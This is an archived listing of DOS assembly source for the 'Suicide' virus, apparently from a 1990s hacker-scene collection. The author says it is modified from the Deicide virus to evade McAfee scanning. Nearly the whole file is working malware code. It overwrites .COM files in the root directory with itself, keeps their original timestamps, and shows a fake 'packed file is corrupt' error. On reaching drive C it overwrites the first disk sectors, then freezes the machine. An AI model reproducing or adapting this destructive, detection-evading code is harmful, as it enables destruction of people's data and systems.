home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / G.ZIP / GB-RELAT.ZIP / SUICIDE.ZIP / SUICIDE.ASM next >
Assembly Source File  |  1995-05-23  |  4KB  |  168 lines

  1. ;|
  2. ;|      SUICIDE VIRUS BY TESLA 5
  3. ;|
  4. ;|      THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF
  5. ;|      GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I
  6. ;|      THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL
  7. ;|      EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CODE, SO IT IS NO
  8. ;|      MORE DETECTABLE BY SCAN OF MCAFEE. THANKS TO 'CRYPT'? AND XTSC FOR
  9. ;|      THE SOURCE CODE. GREETINGS TO ALL VIRUS WRITERS.
  10. ;|
  11.  
  12. START_PROG:     JMP SHORT START_VIRUS
  13.  
  14. MESSAGE         DB 0DH,0AH,'SUICIDE!'
  15.                 DB 0DH,0AH
  16.                 DB 0DH,0AH,'TESLA 5 SAYS : NO MORE HD!'
  17.                 DB 0DH,0AH
  18.                 DB 0DH,0AH,'NEXT TIME BE SCARED FOR ILLEGAL STUFF!$'
  19.  
  20. START_VIRUS:    MOV AH,19H
  21.                 INT 21H
  22.  
  23.                 DB 0A2H
  24.                 DW OFFSET INFECT_DRIVE
  25.                 DB 0A2H
  26.                 DW OFFSET ACTUAL_DRIVE
  27.  
  28.                 MOV AH,47H
  29.                 MOV DL,0
  30.                 MOV SI,OFFSET ACTUAL_DIR
  31.                 INT 21H
  32.  
  33.                 MOV AH,1AH
  34.                 MOV DX,OFFSET NEW_DTA
  35.                 INT 21H
  36.  
  37. INFECT_NEXT:    MOV AH,3BH
  38.                 MOV DX,OFFSET ROOT_DIR
  39.                 INT 21H
  40.  
  41.                 MOV AH,4EH
  42.                 MOV CX,0
  43.                 MOV DX,OFFSET SEARCH_PATH
  44.                 INT 21H
  45.  
  46. CHECK_COMMAND:  MOV AL,'N'
  47.                 CMP [NEW_DTA+23H],AL
  48.                 JNZ CHECK_INFECT
  49.                 JMP SHORT SEARCH_NEXT
  50.                 NOP
  51.  
  52. CHECK_INFECT:   MOV AX,3D02H
  53.                 MOV DX,OFFSET NEW_DTA+1EH
  54.                 INT 21H
  55.                 MOV FILE_HANDLE,AX
  56.                 XCHG BX,AX
  57.  
  58.                 MOV AX,5700H
  59.                 INT 21H
  60.                 MOV FILE_DATE,DX
  61.                 MOV FILE_TIME,CX
  62.  
  63.                 CALL GO_BEG_FILE
  64.  
  65.                 MOV AH,3FH
  66.                 MOV CX,2
  67.                 MOV DX,OFFSET READ_BUF
  68.                 INT 21H
  69.  
  70.                 MOV AL,BYTE PTR [READ_BUF+1]
  71.                 CMP AL,OFFSET START_VIRUS-102H
  72.                 JNZ INFECT
  73.  
  74.                 MOV AH,3EH
  75.                 INT 21H
  76.  
  77. SEARCH_NEXT:    MOV AH,4FH
  78.                 INT 21H
  79.                 JNC CHECK_COMMAND
  80.  
  81.                 MOV AL,INFECT_DRIVE
  82.                 CMP AL,0
  83.                 JNZ NO_A_DRIVE
  84.                 INC AL
  85. NO_A_DRIVE:     INC AL
  86.                 CMP AL,3
  87.                 JNZ NO_DESTROY
  88.  
  89.                 XOR BX,BX
  90.                 MOV AL,2
  91.                 MOV DX,BX
  92.                 MOV CX,40H
  93.                 INT 26H
  94.  
  95.                 MOV AH,9
  96.                 MOV DX,OFFSET MESSAGE
  97.                 INT 21H
  98.  
  99. LOCK_SYSTEM:    CLI
  100.                 JMP SHORT LOCK_SYSTEM
  101.  
  102. NO_DESTROY:
  103.                 MOV AH,0EH
  104.                 MOV DL,AL
  105.                 MOV INFECT_DRIVE,DL
  106.                 INT 21H
  107.  
  108.                 JMP INFECT_NEXT
  109.  
  110. INFECT:         CALL GO_BEG_FILE
  111.  
  112.                 MOV AH,40H
  113.                 MOV DX,100H
  114.                 MOV CX,OFFSET END_VIRUS-100H
  115.                 INT 21H
  116.  
  117.                 MOV AX,5701H
  118.                 MOV CX,FILE_TIME
  119.                 MOV DX,FILE_DATE
  120.                 INT 21H
  121.  
  122.                 MOV AH,3EH
  123.                 INT 21H
  124.  
  125.                 MOV DL,BYTE PTR [ACTUAL_DRIVE]
  126.                 MOV AH,0EH
  127.                 INT 21H
  128.  
  129.                 MOV AH,3BH
  130.                 MOV DX,OFFSET ACTUAL_DIR
  131.                 INT 21H
  132.  
  133.                 MOV AH,9
  134.                 MOV DX,OFFSET QUIT_MESSAGE
  135.                 INT 21H
  136.  
  137.                 INT 20H
  138.  
  139. GO_BEG_FILE:    MOV AX,4200
  140.                 XOR CX,CX
  141.                 XOR DX,DX
  142.                 INT 21H
  143.                 RET
  144.  
  145.  
  146. FILE_DATE       DW (?)
  147. FILE_TIME       DW (?)
  148.  
  149. FILE_HANDLE     DW (?)
  150.  
  151. INFECT_DRIVE    DB (?)
  152.  
  153. ROOT_DIR        DB '\',0
  154.  
  155. SEARCH_PATH     DB '*.COM',0
  156.  
  157. READ_BUF        DB 2 DUP (?)
  158.  
  159. ACTUAL_DRIVE    DB (?)
  160.  
  161. QUIT_MESSAGE    DB 'PACKED FILE IS CORRUPT',0DH,0AH,'$'
  162.  
  163. NEW_DTA         DB 2BH DUP (?)
  164.  
  165. ACTUAL_DIR      DB 40H DUP (?)
  166.  
  167. END_VIRUS:
  168.